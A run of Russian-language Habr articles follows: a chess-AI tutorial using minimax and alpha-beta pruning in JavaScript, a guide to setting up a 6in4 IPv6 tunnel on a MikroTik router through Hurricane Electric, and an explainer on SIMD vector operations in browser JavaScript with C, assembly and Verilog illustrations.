Описанное выше решение реализовано во Frame manager, который поддерживает загрузку приложений как с iframe, так и без. Без фреймов сейчас загружается около четверти всех приложений в Тинькофф Бизнесе, и их число постоянно растет.
А еще благодаря описанному решению мы научились шарить Angular и общие библиотеки, используемые в Frame manager и приложениях, что еще больше повысило скорость загрузки и работы. Об этом расскажем в следующей статье.
[Репозиторий с примером кода](https://github.com/annnger/ng-multiapp) | https://habr.com/ru/post/527922/ | null | ru | null |
# Создаем несложный шахматный ИИ: 5 простых этапов
Перевели для вас статью Лори Хартикка (Lauri Hartikka) о создании простейшего ИИ для шахмат. Она написана еще в 2017 году, но базовые принципы остались теми же. Все файлы, которые использовал Лори, тоже доступны.
Простой искусственный интеллект, который умеет играть в шахматы, можно создать на базе четырех концепций:
1. 1. Перемещение;
2. 2. Оценка доски;
3. [3. Минимакс](https://ru.wikipedia.org/wiki/%D0%9C%D0%B8%D0%BD%D0%B8%D0%BC%D0%B0%D0%BA%D1%81);
4. [4. Альфа-бета-отсечение](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D1%8C%D1%84%D0%B0-%D0%B1%D0%B5%D1%82%D0%B0-%D0%BE%D1%82%D1%81%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D0%B5). На каждом этапе работы с алгоритмом будет использоваться одна из них, это позволит постепенно совершенствовать игровые способности ИИ.
> **Skillbox рекомендует:** Прикладной онлайн-курс [«Аналитик данных Python»](https://skillbox.ru/python-data/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=PTNANA&utm_content=articles&utm_term=chess).
>
>
>
> **Напоминаем:** *для всех читателей «Хабра» — скидка 10 000 рублей при записи на любой курс Skillbox по промокоду «Хабр».*
Готовый исходный код можно найти на [GitHub](https://github.com/lhartikk/simple-chess-ai).
> I'm having trouble beating a chess program I wrote.
>
> Not sure if I'm a bad player or the algorithm is decent.
>
> — Lauri Hartikka (@lhartikk) [March 28, 2017](https://twitter.com/lhartikk/status/846819979303538692?ref_src=twsrc%5Etfw)
### Этап 1. Визуализация шахматной доски с генерацией ходов
На этом этапе мы будем использовать библиотеки [chess.js](https://github.com/jhlywa/chess.js) для генерации ходов и [chessboard.js](https://github.com/oakmac/chessboardjs/) для визуализации доски. Библиотека, которая отвечает за генерацию ходов, позволяет применять все шахматные правила, так что мы можем рассчитывать каждое действие для конкретного расположения фигур.
[](https://cdn-images-1.medium.com/max/2560/1*_Z_qtrm9ayf_UhycYudE3g.png)
При клике на картинке она откроется в полном разрешении.
Работа с этими библиотеками позволяет сконцентрироваться на главной задаче — поиске и создании алгоритма, который позволяет найти оптимальный ход. Работу начинаем с написания функции, которая возвращает случайный ход из списка всех возможных.
```
var calculateBestMove =function(game) {
//generate all the moves for a given position
var newGameMoves = game.ugly_moves();
return newGameMoves[Math.floor(Math.random() * newGameMoves.length)];
};
```
Несмотря на то, что алгоритм не является идеальным игроком в шахматы, для большинства игроков его уровня этого будет вполне достаточно.
Черные ходят случайным образом. ([исходники и игра онлайн](https://jsfiddle.net/lhartikk/m14epfwb/4/))
### Этап 2. Оценка позиции
Теперь давайте разберемся, у какой стороны преимущество в том или ином положении. Самый простой путь — подсчитать относительную силу фигур на доске, это можно сделать при помощи таблицы.
Используя функцию оценки, мы получаем возможность создать алгоритм, который выбирает ход с максимальной оценкой.
```
var calculateBestMove = function (game) {
var newGameMoves = game.ugly_moves();
var bestMove = null;
//use any negative large number
var bestValue = -9999;
for (var i = 0; i < newGameMoves.length; i++) {
var newGameMove = newGameMoves[i];
game.ugly_move(newGameMove);
//take the negative as AI plays as black
var boardValue = -evaluateBoard(game.board())
game.undo();
if (boardValue > bestValue) {
bestValue = boardValue;
bestMove = newGameMove
}
}
return bestMove;
};
```
В принципе, уровень прежний, но алгоритм уже может взять чужую фигуру, когда такая возможность есть.
Черные получили возможность брать белые фигуры. (Исходники и игра [здесь](https://jsfiddle.net/lhartikk/m5q6fgtb/1/)).
### Этап 3. Дерево поиска с минимакс
После этого мы создаем дерево поиска. Теперь программа может выбрать из него лучший ход. Это делается при помощи минимакс-алгоритма.
Здесь рекурсивное дерево с отображением всех возможных ходов анализируется до заданной глубины. Позиция же оценивается по листьям нашего дерева.
Далее мы возвращаем минимальное или максимальное значение потомка в родительский узел. Все зависит от того, ход какой стороны сейчас просчитывается. Другими словами, результат максимизируется или минимизируется на каждом из уровней.
Здесь лучшим ходом для белых является b2-c3, поскольку он гарантирует, что игрок доберется до позиции с оценкой -50.
```
var minimax = function (depth, game, isMaximisingPlayer) {
if (depth === 0) {
return -evaluateBoard(game.board());
}
var newGameMoves = game.ugly_moves();
if (isMaximisingPlayer) {
var bestMove = -9999;
for (var i = 0; i < newGameMoves.length; i++) {
game.ugly_move(newGameMoves[i]);
bestMove = Math.max(bestMove, minimax(depth - 1, game, !isMaximisingPlayer));
game.undo();
}
return bestMove;
} else {
var bestMove = 9999;
for (var i = 0; i < newGameMoves.length; i++) {
game.ugly_move(newGameMoves[i]);
bestMove = Math.min(bestMove, minimax(depth - 1, game, !isMaximisingPlayer));
game.undo();
}
return bestMove;
}
};
```
С минимакс-алгоритмом наш ИИ уже стал понимать базовую тактику шахмат.
Минимакс с глубиной 2 (Исходники и игра [здесь](https://jsfiddle.net/k96eoq0q/1/))
Стоит отметить, что эффективность минимакс-алгоритма увеличивается с глубиной поиска. За это отвечает следующий этап.
### Этап 4. Альфа-бета-отсечения
Это метод оптимизации минимакс-алгоритма, дающий возможность игнорировать некоторые ветви в дереве поиска. А это позволяет увеличить глубину поиска, затрачивая прежний объем ресурсов.
Альфа-бета-отсечение основано на ситуации, когда мы можем остановить оценку определенной ветви, если обнаруживается, что новый ход приведет к худшей ситуации, чем та, которую мы видели при оценке предыдущего.
На результат минимакса оптимизация не влияет, но все начинает работать быстрее.
Этот алгоритм гораздо более эффективен в том случае, если сначала проверить пути, ведущие к хорошим ходам.
Изображение демонстрирует ходы, которые становятся ненужными в процессе использования альфа-бета-отсечения.
Как видите, с альфа-бета-отсечением минимакс оптимизируется, и весьма значительно.
Количество позиций, которые требуется оценить в случае поиска с глубиной 4 и начальной позицией, которая изображена выше. (исходники и игра доступны [здесь](https://jsfiddle.net/Laa0p1mh/3/))
### Этап 5. Улучшенная функция оценки
Изначальная функция оценки достаточно простая, поскольку она просто считает очки фигур, находящихся на доске. Для ее оптимизации можно учитывать положение фигур. К примеру, если разместить коня в центре доски, то он становится дороже — спектр доступных ходов для этой фигуры расширится.
На этом этапе мы будем работать с несколько видоизмененной версией квадратных таблиц, изначально описанной в [вики Chess Programming](https://chessprogramming.wikispaces.com/Simplified+evaluation+function).
И теперь наш алгоритм играет уже весьма неплохо, конечно, по сравнению со средним игроком.
Исходники и игра доступны [здесь](https://jsfiddle.net/q76uzxwe/1/)
### Заключение
Достоинством предложенного алгоритма является то, что он не делает совсем уж глупых ошибок. Конечно, стратегию здесь сложно назвать совершенной, но тем не менее.
Реализация нашего алгоритма выполнена всего в 200 строк кода, так что базовые принципы достаточно просты. Финальную версию программы можно [github.com/lhartikk/simple-chess-ai](https://github.com/lhartikk/simple-chess-ai)'>видеть на GitHub.
В алгоритм можно добавить и другие модули, включая:
* [упорядочивание ходов](https://chessprogramming.wikispaces.com/Move+Ordering);
* ускорение [генерации ходов](https://chessprogramming.wikispaces.com/Move+Generation);
* [и оценку эндшпиля](https://chessprogramming.wikispaces.com/Endgame).
Больше о шахматных алгоритмах можно узнать на [Chess Programming Wiki](https://chessprogramming.wikispaces.com).
> **Skillbox рекомендует:**
>
>
>
> * Практический курс [«Мобильный разработчик PRO»](https://skillbox.ru/agima/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=AGIMA&utm_content=articles&utm_term=chess)
> * Онлайн-курс [«Профессия веб-разработчик»](https://skillbox.ru/webdev/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=WEBDEV&utm_content=articles&utm_term=chess)
> * Двухлетний практический курс [«Я — веб-разработчик PRO»](https://iamwebdev.skillbox.ru/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=WEBDEVPRO&utm_content=articles&utm_term=chess).
> | https://habr.com/ru/post/437524/ | null | ru | null |
# MikroTik — 6in4 или IPv6 без поддержки провайдера
Захотелось мне воспользоваться технологией IPv6 по [некоторым причинам](http://version6.ru/why), но мой провайдер не предоставляет данную услугу. Гугл подсказал о [6in4](http://ru.wikipedia.org/wiki/Сервис_туннелей) механизме, позволяющему передавать IPv6 пакеты через IPv4 сеть моего провайдера, который поддерживается моим роутером **MikroTik RouterBoard 951g-2hnd**.
#### Начало
Для начала нам необходимо:
* «белый» постоянный IPv4 адрес от провайдера (так называемый выделенный IP адрес) — если у Вас «белый», но динамический адрес, то стоит почитать вот это: [Hurricane Electric IPv6 Tunnel — IPv4 Endpoint updater](http://wiki.mikrotik.com/wiki/Hurricane_Electric_IPv6_Tunnel_-_IPv4_Endpoint_updater)
* не заблокированы входящие пакеты ICMP (т.е. Ваш выделенный IP адрес можно пингонуть из интернета. Некоторые провайдеры блокируют входящие ICMP пакеты)
#### Туннельный брокер
Зарегистрироваться у туннельного брокера. Я пользуюсь [Hurricane Electric](http://tunnelbroker.net/)
Переходим по [этому](http://tunnelbroker.net/register.php) адресу и регистрируемся. В этом нет ничего сложного. В ответ получаем письмо с логином и паролем. Вводим их на сайте и создаем туннель: **«User Functions — Create Regular Tunnel»** В поле вводим Ваш выделенный IP адрес, рядом Ваш текущий IP адрес если Вы регистрируетесь там где желаете настроить данное соединение то выделенный IP адрес идентичен текущему. Далее выбираем ближайший туннельный сервер, в этом нам может помочь: [Looking Glass](http://lg.he.net/). Создаем!
В результате получаем:
Тут указанны адреса сервера IPv4 и IPv6, а также Ваши — клиента. Так же ниже указана сеть /64 для Ваших устройств.
Во вкладке **«Example Configurations»** выбираем настройки для MikroTik:
#### Настройка Mikrotik
Допустим Ваш выделенный IP адрес **49.45.157.133**, адрес сервера **236.63.85.135**, IPv6 адрес сервера **2001:470:2e3a:5fe::1** и IPv6 адрес клиента **2001:470:2e3a:5fe::2/64**, а также **2001:470:2e3b:5fe::1/64** первый адрес в выделенной для Вас /64 подсети 2001:470:2e3b:5fe::/64
Те настройки которые нам предложили в разделе **«Example Configurations»**:
`/interface 6to4 add comment="Hurricane Electric IPv6 Tunnel Broker" disabled=no local-address=49.45.157.133 mtu=1280 name=sit1 remote-address=236.63.85.135`
`/ipv6 route add disabled=no distance=1 dst-address=2000::/3 gateway=2001:470:2e3a:5fe::1 scope=30 target-scope=10`
`/ipv6 address add address=2001:470:2e3a:5fe::2/64 advertise=yes disabled=no eui-64=no interface=sit1`
И адрес IPv6 для интерфейса BRIDGE:
`/ipv6 address add address=2001:470:2e3b:5fe::1/64 advertise=yes disabled=no eui-64=no interface=BRIDGE`
Интерфейсом **BRIDGE** у меня объединены внутренние ethernet порты и беспроводной интерфейс, также в сети раздается IPv4.
На компьютере включаем поддержку IPv6 если она у Вас отключена. Должен появится доступ к интернету по IPv6. Также должны появится адреса IPv6 в сведениях интерфейса или в консоли при выводе команды **ipconfig /all**
**Сведения интерфейса**
**ipconfig /all**
Если все в порядке то должен пинговаться **ipv6.google.com**, а также успешно проходить [тест](http://www.test-ipv6.com/)
**Пинг ipv6.google.com**
**Тест test-ipv6.com**
Если последняя часть теста не прошла и у Вас 9/10 то Ваш DNS сервер (предоставляемый вашим провайдером) не имеет доступ к IPv6 интернету. Лечится легко просто прописываем [DNS Google](https://developers.google.com/speed/public-dns/docs/using?hl=ru)
> Google Public DNS IP addresses
>
>
>
> The Google Public DNS IP addresses (IPv4) are as follows:
>
>
>
> 8.8.8.8
>
> 8.8.4.4
>
> The Google Public DNS IPv6 addresses are as follows:
>
>
>
> 2001:4860:4860::8888
>
> 2001:4860:4860::8844
>
> You can use either number as your primary or secondary DNS server
>
> You can specify both numbers, but do not specify one number as both primary and secondary.
>
>
>
> You can configure Google Public DNS addresses for either IPv4 or IPv6 connections, or both.
Windows периодически генерит IPv6 адреса из-за чего некоторые сайты ругаются на то что у пользователя меняется IP адрес. Отключается это [просто](http://andatche.com/blog/2012/02/disabling-rfc4941-ipv6-privacy-extensions-in-windows/) (без перезагрузки):
```
netsh interface ipv6 set global randomizeidentifiers=disabled store=active
netsh interface ipv6 set global randomizeidentifiers=disabled store=persistent
netsh interface ipv6 set privacy state=disabled store=active
netsh interface ipv6 set privacy state=disabled store=persistent
```
При написании пользовался:
[Основы IPv6](http://habrahabr.ru/post/64592/)
[IPv6 — он рядом.](http://habrahabr.ru/post/140629/)
[Протокол IPv6](http://version6.ru/) | https://habr.com/ru/post/189008/ | null | ru | null |
# Векторные вычисления в JS, есть ли смысл, когда и как можно использовать SIMD в браузере
Все больше и больше область применения языка программирования javascript отходит от движения кнопочками в браузере да перекраски фона в сторону сложных и объемных веб-приложений. Уже во всю по миру шагает технология WebGL, позволяющая отображать трехмерные сцены в браузере прямо на языке js, а вместе с ней и усложняются задачи.
Производительность пользовательских машин продолжает расти, а вместе с ней и язык обзаводится новыми выразительными средствами, позволяющими ускорять вычисления. И пока WebAssembly где-то там в далеком и светлом будущем, asm.js застрял в болоте и свернул с пути, в ближайшее время изначально как часть es2015, ныне как отдельный стандарт выходит поддержка векторных операций в JS.
Все, кому интересно, что такое SIMD и векторные исчисления, как ими пользоваться в js, а так же что дает их использование — прошу под кат.
**Отступление от автора:** у вас не дежавю, эта статья действительно является перезаливом предыдущей. К сожалению, тогда я не приложил достаточно усилий, чтобы получить качественную статью, а тесты не годились ни для чего, как следствие — я получил в корне неверные выводы, на что справедливо получил критику. "Хабр торт и всякое потребье тут не прокатит" обрадовался я, прикинул, что моя статья пока одна из немногих, которые всплывают по запросы "SIMD JS" и было бы неправильно распространять неверную информацию, да еще и низкого качества. В данной статье пытаюсь исправить, ту беспощадно скрыл и удалил как страшный сон и поучительный урок об соотношении времени, затраченного на статью, к её качеству.
### Теория
Предположим, что вам необходимо произвести какую-то простую операцию с каждым элементом из массива. Возьмем сумму с константой C, напишем пример на языке C
```
int arr[16] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15};
const c = 5;
for (int i = 0; i < 16; i++) {
arr[i] = arr[i] + c;
}
```
Догадливые люди могут попытаться немного оптимизировать этот пример, написав что-то вроде:
```
int arr[16] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15};
const c = 5;
for (int i = 0; i < 16; i += 4) {
arr[i] = arr[i] + c;
arr[i + 1] = arr[i + 1] + c;
arr[i + 2] = arr[i + 2] + c
arr[i + 3] = arr[i + 3] + c;
}
```
Оптимизация сомнительная, но, на самом деле, сработает. Причиной этого является не то, что мы гораздо реже делаем операцию i = i + 1; (ведь она все равно происходит при взятии индекса), а то, что процессор в этом случае может загружать и выполнять операции с большим захлестыванием друг на друга в конвеере, покуда операции не зависят друг от друга, что позволяет ему производить внутренние операции, вплоть до выполнения этих операций одновременно и пакетной загрузке следующей части массива.
Проблема в том, что он может произвести эти оптимизации, а может и не произвести. Мы на это в явном виде повлиять не можем, а накладки все равно сохраняются. И если сумма вычисляется быстро, то какой-нибудь квадратный корень уже выполняется достаточно заметное время чтобы появилось желание заставить процессор выполнять эту операцию одновременно для нескольких чисел.
Примерно так подумали много лет назад (в 70-х годах) где-то в недрах Texas Instruments и CDC, сделав первые векторные супер-компьютеры. Однако до них некий Майкл Флинн предложил свою таксономию (классификацию) компьютеров, одной из которых были SIMD. К сожалению, на этом нить истории теряется, но мы тут не для этого собрались.
Таким образом, в 70-х годах прошлого столетия появились первые процессоры, позволявшие за раз считать несколько однотипных операций над числами. Позже это перетянули к себе практически все в виде расширенного набора инструкций.
Графически классическая архитектура выглядит следующим образом:
Нам нужно сложить 4 пары чисел, поэтому мы вынуждены 4 раза вызвать инструкцию add в процессоре.
Векторная операция же выглядит следующим образом:
Когда нам нужно сложить 4 пары чисел, мы просто вызываем одну инструкцию, которая складывает их за один такт.
Небольшая ремарка по поводу "векторная операция" и SIMD-операция. Дело в том, что SIMD — более общее понятие, подразумевающее под собой выполнение в один и тот же момент времени одной или нескольких одинаковых операций над разными данными. В CUDA в каждый момент времени нити выполняют одну и ту же операцию над разными данными, но этих операций выполняется столько, сколько доступно потоков в видеокарте. Векторная арифметика подразумевает то, что выполняется именно одна операция, причем, фактически, она выполняется просто над двумя расширенными данными, составляющими из себя упорядоченно лежащие несколько чисел в одной ячейке. Таким образом, векторные операции входят как подмножество в SIMD-операции, однако в ES2017 говорится именно о векторной арифметике, не знаю, почему они решили так обобщить, далее мы будем считать эти два понятия одним и тем же в рамках этой статьи.
Так что, получается, мы можем увеличить производительность своих js приложений в 4 раза? (Протяженно)Нууу не совсем. Но сперва взглянем, как это делается на C (gcc)
**C и ассемблер тут. Да, в статье о js**Скалярный пример
```
void main() {
int a[4] = { 1, 3, 5, 7 };
int b = 3;
int c[4];
c[0] = a[0] + b;
c[1] = a[1] + b;
c[2] = a[2] + b;
c[3] = a[3] + b;
}
```
Его векторный аналог:
```
#include
extern void printv(\_\_m128 m);
int main()
{
\_\_m128 m = \_mm\_set\_ps(-4, -3, -2, -1);
\_\_m128 one = \_mm\_set1\_ps(1.0f);
printv(\_mm\_add\_ps(m, one)); // Multiply by one (nop)
return 0;
}
```
(Примеры взяты с ресурса [liranuna.com](http://www.liranuna.com/sse-intrinsics-optimizations-in-popular-compilers/))
Первый вариант станет в asm чем-то типа:
```
main:
.LFB0:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
subq $64, %rsp
movq %fs:40, %rax
movq %rax, -8(%rbp)
xorl %eax, %eax
movl $1, -48(%rbp)
movl $3, -44(%rbp)
movl $5, -40(%rbp)
movl $7, -36(%rbp)
movl $3, -52(%rbp)
movl -48(%rbp), %edx
movl -52(%rbp), %eax
addl %edx, %eax
movl %eax, -32(%rbp)
movl -44(%rbp), %edx
movl -52(%rbp), %eax
addl %edx, %eax
movl %eax, -28(%rbp)
movl -40(%rbp), %edx
movl -52(%rbp), %eax
addl %edx, %eax
movl %eax, -24(%rbp)
movl -36(%rbp), %edx
movl -52(%rbp), %eax
addl %edx, %eax
movl %eax, -20(%rbp)
nop
movq -8(%rbp), %rax
xorq %fs:40, %rax
je .L2
call __stack_chk_fail
```
Векторный его друг будет в ассемблере чем-то типа:
```
movss xmm0, DWORD PTR __real@c0800000
movss xmm2, DWORD PTR __real@c0400000
movss xmm3, DWORD PTR __real@c0000000
movss xmm1, DWORD PTR __real@bf800000
unpcklps xmm3, xmm0
xorps xmm0, xmm0
unpcklps xmm1, xmm2
unpcklps xmm1, xmm3
movaps XMMWORD PTR tv129[esp+32], xmm0
movaps XMMWORD PTR _m$[esp+32], xmm1
addps xmm0, xmm1
```
На что тут нужно обратить внимание? На то, что операция "сложить" (инструкция addps) действительно одна, когда в первом примере их 4, при этом в первом примере так же много сложебных пересылок данных туда-сюда. Действительно, в сухом остатке инструкций стало меньше. Впрочем, в x86 время выполнения (как и в остальных CISC), не ограничено, в теории можно в микрокод даже хоть модель всего мира запихнуть. Считаться он будет бесконечно, но инструкция то одна! Однако, что гораздо важнее для нас именно сейчас, это регистры xmm0-7 (0-15 в 64-разрядной архитектуре. Однако мы сейчас не на схемотехнике и даже не про ассемблер говорим, такие подробности нам не важны). Это специальные регистры из расширения SSE (англ. Streaming SIMD Extensions, потоковое SIMD-расширение процессора) размерностью 128 бит, каждый из которых может содержать 4 значения с плавающей точкой одинарной точности (32-х разрядные float), ну а так же всевозможные комбинации из знаковых и беззнаковых целых чисел разной разрядностью. Именно над ними и происходят все SIMD-инструкции.
Это достаточно важно, покуда любая операция подразумевает, что вы сначала каким-либо образом данные туда загрузите. Тут и кроется главное ограничение этой технологии — загрузка этих данных обходится не очень дешево, поэтому смешанная арифметика (векторные и скалярные операции вперемешку) дадут только большие издержки на перегоне данных туда-сюда, отсюда все алгоритмы для векторных исчислений оптимизируются таким образом, чтобы минимизировать точки соприкосновения, что не всегда просто.
Однако подключить сюда потоковую обработку — производительность еще больше вырастает за счет того, что DDR позволяют получить от 2-х (для ddr3 это аж 8) слов за одно обращение к памяти. Безусловно, процессор и в скалярных вычислениях попытается прибегать к ним, однако если ему сказать об этом явно, ему проще будет понять что и как загружать.
**Как это работает внутри, еще один подводный камень и verilog в статье по js? Что дальше? Квантовая механика?**Внутри каждая из инструкций выглядит примерно так:
```
module adds(
input wire[0:31] a,
input wire[0:31] b,
input wire[0] size, // 8 bit or 16 bit
output reg[0:31] c,
input wire clk
);
always @ (posedge clk)
begin
case (size)
1'b0: begin
c[0:7] <= a[0:7] + b[0:7];
c[8:15] <= a[8:15] + b[8:15];
c[16:23] <= a[16:23] + b[16:23];
c[24:31] <= a[24:31] + b[24:31];
end
1'b1: begin
c[0:15] <= a[0:15] + b[0:15];
c[16:31] <= a[16:31] + b[16:31];
end
end
endmodule
```
Реальный пример не приведу по двум причинам: во-первых, они все очень объемные, а к делу не относятся, во-вторых — никто из крупных компаний, особенно intel, не особо разогнались им делиться, а знакомых схемотехников оттуда у меня нет (это тонкий намек, к слову). Но это и не важно. Важно другое — подобные строчки кода (точнее, описания аппаратуры) есть где-то в недрах ядра x86 процессора intel, доступного нам через микроархитектуру в виде расширенного набора инструкций sse. Вот только в других архитектурах (да, вроде как, и внутри x86, где-то под микроархитектурой, там, где честный RISC) он является частью со-процессора по арифметике с плавающей точкой. Если же для x86 накладок на вызов инструкций со-процессора особо не накладывается из-за возможности оптимизировать его внутри микроархитектуры, то в других процессорах со-процессор зачастую выполняет отдельную последовательность команд и управляется центральным. Таким образом, вызов его команды будет осуществлен по схеме:
* инициировать параметры сопроцессора
* передать значения, с которыми ему необходимо работать
* установить его внутренний CP (счетчик инструкций) на адрес программы, написанной для него
* запустить его
* дождаться пока он завершит операцию (в это время можно заняться чем-то другим, не менее полезным)
* получить результаты
* остановить сопроцессор
Явно больше трех инструкций, которые мы пытаемся сократить. Отсюда логика работы на специфичной аппаратуре состоит в том, что опять же необходимо минимизировать точки соприкосновения скалярной и векторной арифметики, чтобы уменьшить количество пересылок данных и прочих накладок.
Например, описание ARM на википедии:
> Усовершенствованный SIMD (NEON)
>
> Расширение усовершенствованного SIMD, также называемое технологией NEON — это комбинированный 64- и 128-битный набор команд SIMD (single instruction multiple data), который обеспечивает стандартизованное ускорение для медиаприложений и приложений обработки сигнала. NEON может выполнять декодирование аудиоформата mp3 на частоте процессора в 10 МГц, и может работать с речевым кодеком GSM AMR (adaptive multi-rate) на частоте более 13МГц. Он обладает внушительным набором команд, отдельными регистровыми файлами, и независимой системой исполнения на аппаратном уровне. NEON поддерживает 8-, 16-, 32-, 64-битную информацию целого типа, одинарной точности и с плавающей запятой, и работает в операциях SIMD по обработке аудио и видео (графика и игры). В NEON SIMD поддерживает до 16 операций единовременно.
>
>
>
> Одним из недостатков (или, скажем, особенностью) усовершенствованного SIMD является то, что сопроцессор выполняет команды усовершенствованного SIMD с достаточно значительной задержкой относительно кода основного процессора, задержка достигает двух десятков тактов и более (зависит от архитектуры и конкретных условий). По этой причине при попытке основного процессора воспользоваться результатами вычисления сопроцессора исполнение будет заморожено на значительное время.
Вообще, мы говорим тут об SIMD в js. Так какого черта? ARM и x86 — это все, что у нас есть, когда java-script-разработчиков волновало то, на какой архитектуре будет выполняться их код? Максимум — какой даже не браузер, а движок.
А вот черта с два. Во-первых, а с какого перепуга вообще потянули SIMD в JS? Во-вторых, [спорное решение, но их сейчас как грибов](http://www.espruino.com/). А раз инструмент есть, то понимать как им пользоваться эффективно все таки нужно.
### Практика
Итак, векторные операции скоро появятся в js. Насколько скоро? В данный момент их поддерживает firefox nightly, edge с флагом "экспериментальные возможности" и chrome с флагом при запуске `--js-flags="--harmony-simd"`, т.е. хоть в каком-то виде, но все браузеры. Помимо этого есть [полифилл](https://github.com/tc39/ecmascript_simd), так что можно использовать уже прямо сейчас.
Небольшой пример как использовать SIMD в js-коде:
```
const someValue = SIMD.Float32x4(1,0,0,0);
const otherValue = SIMD.Float32x4(0,1,0,0);
const summ = SIMD.Float32x4.add(someValue, otherValue);
```
Полный список доступных функций смотрите на [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SIMD). Хочу обратить внимание, что SIMD.Float32x4 не является конструктором и запись `new SIMD.Float32x4(0, 0, 0, 0);` не является валидной.
Не буду расписывать все возможности по использованию, их не очень много, в целом — арифметика да загрузка с выгрузкой данных, еще немного примеров все на том же [MDN](https://developer.mozilla.org/ru/docs/Web/JavaScript/SIMD_types), сразу перейду к примерам.
**Обозначения**, введенные мной для простоты примеров, такие:
```
const sload = SIMD.Float32x4.load;
const sadd = SIMD.Float32x4.add;
const smul = SIMD.Float32x4.mul;
const ssqrt = SIMD.Float32x4.sqrt;
const sstore = SIMD.Float32x4.store;
```
### Свертка
Сверткой в математике называют преобразование из одного набора данных в другой. Для программистов сверткой является обход всего массива и выполнения над каждым из его элементов математического преобразования, например, умножения на другое число, сложение с другим массивом или применение оператора Собеля для изображения (он тоже будет, чуть ниже).
Скалярный вариант:
Векторный:
*Тут и далее: по вертикальной оси данные, по горизонтальной — время. Оранжевый блок — данные, над которыми происходит операция.*
В коде это пример сверху в явном виде, на js примерно так (часть из алгоритма рассчета дисперсии):
```
const arr = new Float32Array(someBuffer);
for (let i = 0; i < arr.length; i += 4) { // пример подразумевает, что размер массива кратен 4, будьте осторожны с этим!
sstore(arr, i, smul(
sadd(
sload(arr, i),
expected // мат. ожидание
),
sadd(
sload(arr, i),
expected // мат. ожидание
)
));
}
```
### Сумма элементов массива
Если не ошибаюсь, этот пример идет первым в книге по CUDA, да и вообще является максимально типовым примером для SIMD (причем, в данном случае как раз больше подходит для вычисления на видеокарте, покуда позволяет перейти к логарифмической сложности, чем к векторным операциям).
Расскажу многонитьевой алгоритм, который не сложно адаптировать под векторный: сперва каждый четный (включая нулевой) суммируется с нечетным, следующим за ним. Затем нулевой (в котором теперь лежит сумма a[0] + a[1]) суммируется с вторым четным (a[2], который равен a[2] + a[3]) и так далее. На следующем шаге суммируются 0, 4, 8, ..., затем 0, 8, 16 и так далее по степеням двойки, пока массив не закончится.
В случае с векторными операциями можно суммировать первые 4 значения со вторыми 4-мя значениями, в остальном — все так же, т.е.
a[0-3] = a[0-3] + a[4-7];
a[8-11] = a[8-11] + a[12-15];
Графически:
Скалярный вариант
Векторный:
Прирост скорости ожидается достаточно большой. Мой вариант на js:
```
const length = a.length;
let i = 0;
let k = 4;
while (k < size) {
for (i = 0; i < size; i += k * 2) {
SIMD.Float32x4.store(a, i,
SIMD.Float32x4.add(
SIMD.Float32x4.load(a, i),
SIMD.Float32x4.load(a, i + k)
));
}
k = k << 1;
}
```
Данный пример имеет ограничение: размер массива должен быть одновременно степенью двойки и кратен 4. В принципе, это не так сложно исправить, но оставим на домашнее задание.
### Матричное перемножение 4х4
Есть смысл полагать, что матричные операции для квадратных матриц размера 4 (а с ними и векторов такой же размерности. Математических векторов, а не вычислительлных) SIMD дадут заметный прирост. Что такое перемножение и как выглядит классический вариант, а так же графически — я не покажу (графически выглядит ненаглядно, классический вариант — использование математического определения перемножения матриц в лоб, его можно посмотреть на википедии), векторный код на js у меня вышел такой:
```
let j = 0;
let row1, row2, row3, row4;
let brod1, brod2, brod3, brod4, row;
for (let i = 0; i < 10000; i++) {
c = new Float32Array(32);
row1 = SIMD.Float32x4.load(a, 0);
row2 = SIMD.Float32x4.load(a, 4);
row3 = SIMD.Float32x4.load(a, 8);
row4 = SIMD.Float32x4.load(a, 12);
for (j = 0; j < 4; j++) {
d = b[4 * j + 0];
brod1 = SIMD.Float32x4(d, d, d, d); // у нас нет аналога команды _mm_set1_ps
d = b[4 * j + 1];
brod2 = SIMD.Float32x4(d, d, d, d); // у нас нет аналога команды _mm_set1_ps
d = b[4 * j + 2];
brod3 = SIMD.Float32x4(d, d, d, d); // у нас нет аналога команды _mm_set1_ps
d = b[4 * j + 3];
brod4 = SIMD.Float32x4(d, d, d, d); // у нас нет аналога команды _mm_set1_ps
row = SIMD.Float32x4.add(
SIMD.Float32x4.add(
SIMD.Float32x4.mul(brod1, row1),
SIMD.Float32x4.mul(brod2, row2)
),
SIMD.Float32x4.add(
SIMD.Float32x4.mul(brod3, row4),
SIMD.Float32x4.mul(brod3, row4)
)
);
SIMD.Float32x4.store(c, j * 4, row);
}
}
```
Сложновато. Замечу, что после просмотра кода, в который компилируется c-шный вариант, не сильно расстроился недостатком \_mm\_set1\_ps, покуда внутри оно компилируется в 4 отдельных команды загрузки, так что потеря не велика.
### Оператор Собеля
[Википедия](https://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80_%D0%A1%D0%BE%D0%B1%D0%B5%D0%BB%D1%8F). Является примером одной из типовых задач, которые должны хорошо ложиться на SIMD, покуда является внутри сверткой над изображением. Картинок, кода и алгоритма не будет, однако замечу, что в тесте я несколько смухлевал. Дело в том, что оператор Собеля оптимизируется гораздо больше и сильнее при использовании SIMD, однако сначала нужно преобразовать данные к другому виду, да и матан там не простой. Однако даже простое применение дало преимущество. Что касается честного преобразования — хоть jpeg и является дискретно-косинусным преобразованием, внутри он не так далеко ушел от свертки оператором Собеля, а именно за счет SSE (и старших) расширений процессора мы можем смотреть видео в высоком качестве на процессоре (и накладывать гораздо более сложные эффекты используя видеокарту), так что данный алгоритм является прямым назначением SIMD-инструкций в процессоре, в том числе, в js.
### Будущее здесь? Производительность
